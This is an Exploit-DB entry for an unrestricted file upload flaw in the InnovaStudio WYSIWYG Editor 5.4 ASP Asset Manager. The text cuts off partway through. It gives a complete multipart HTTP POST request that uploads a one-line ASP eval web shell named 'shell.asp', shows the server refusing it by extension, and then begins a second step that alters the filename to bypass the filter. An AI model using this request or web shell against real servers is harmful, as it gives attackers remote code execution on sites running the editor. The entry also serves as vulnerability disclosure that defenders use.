Exploit-DB #51362
Description: InnovaStudio WYSIWYG Editor 5.4 - Unrestricted File Upload / Directory Traversal
Type: webapps
Platform: asp
Date: 2023-04-14
Author: Zer0FauLT

Exploit:
# Exploit Title: InnovaStudio WYSIWYG Editor 5.4 - Unrestricted File Upload / Directory Traversal
# Date: 11/04/2023
# Exploit Author: Zer0FauLT [admindeepsec@proton.me]
# Vendor Homepage: innovastudio.com
# Product: Asset Manager
# Version: <= Asset Manager ASP Version 5.4
# Tested on: Windows 10 and Windows Server 2019
# CVE : 0DAY

##################################################################################################
#                                                                                                #
#                    ASP version, in i_upload_object_FSO.asp, line 234                           #
#                                                                                                #
#              oUpload.AllowedTypes = "gif|jpg|png|wma|wmv|swf|doc|zip|pdf|txt"                  #
#                                                                                                #
##################################################################################################
||==============================================================================||
||                                    ((((1))))                                 ||
||                                                                              ||
||  ...:::We Trying Upload ASP-ASPX-PHP-CER-OTHER SHELL FILE EXTENSIONS:::...   ||
||==============================================================================||
##################################################################################################
"                                                                                                "
"                             FILE PERMISSIONS : [ 0644 ]                                        "
"                                                                                                "
"                             DIR PERMISSIONS  : [ 0755 ]                                        "
"                                                                                                "
"        UPLOAD FOLDER    : [ C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets ]             "
"                                                                                                "
##################################################################################################

==================================================================================================

POST /editor/assetmanager/assetmanager.asp?ffilter=&upload=Y HTTP/2
Host: www.pentest.com
Cookie: ASPSESSIONIDAERARBRS=ENGPNMICKHLIBMPLFGAAHKAO; ASPSESSIONIDAQXADDBC=KNEFNGNCLJGEAJMBDLPEKOHD; ASPSESSIONIDAUTADDBC=LNEFNGNCNICEJMMILLBLEBJC; ASPSESSIONIDSWRCCBAC=AHEHHDOCIFOLGLNPFDOKLJOF; ASPSESSIONIDSERDABAB=NCHHDEOCFPENHJCJPKHKMONG
Content-Length: 473
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://www.pentest.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFo1Ek0VVUzPm1AxS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://www.pentest.com/editor/assetmanager/assetmanager.asp
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7

------WebKitFormBoundaryFo1Ek0VVUzPm1AxS
Content-Disposition: form-data; name="inpCurrFolder2"

C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets
------WebKitFormBoundaryFo1Ek0VVUzPm1AxS
Content-Disposition: form-data; name="inpFilter"


------WebKitFormBoundaryFo1Ek0VVUzPm1AxS
Content-Disposition: form-data; name="File1"; filename="shell.asp"
Content-Type: application/octet-stream

<%eval request("#11")%>
------WebKitFormBoundaryFo1Ek0VVUzPm1AxS--

==================================================================================================
"                                   ...[ RESPONCE ]...                                           "
"                                                                                                "
"           ASP-ASPX-PHP-CER-OTHER FILE EXTENSIONS to types is not allowed.                      "
"                                                                                                "
==================================================================================================

                                          ***
											
||================================================================================||
||                                    ((((2))))                                   ||
||                                                                                ||
||  ...:::Now we will manipulate the filename: ===>>> filename="shell.asp":::...  ||
||                                                                                ||
||================================================================================||
##################################################################################################
"                                                                                                "
"                             FILE PERMISSIONS : [ 0644 ]                                        "
"                                                                                                "
"                             DIR PERMISSIONS  : [ 0755 ]                                        "
"                                                                                                "
"        UPLOAD FOLDER    : [ C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets ]             "
"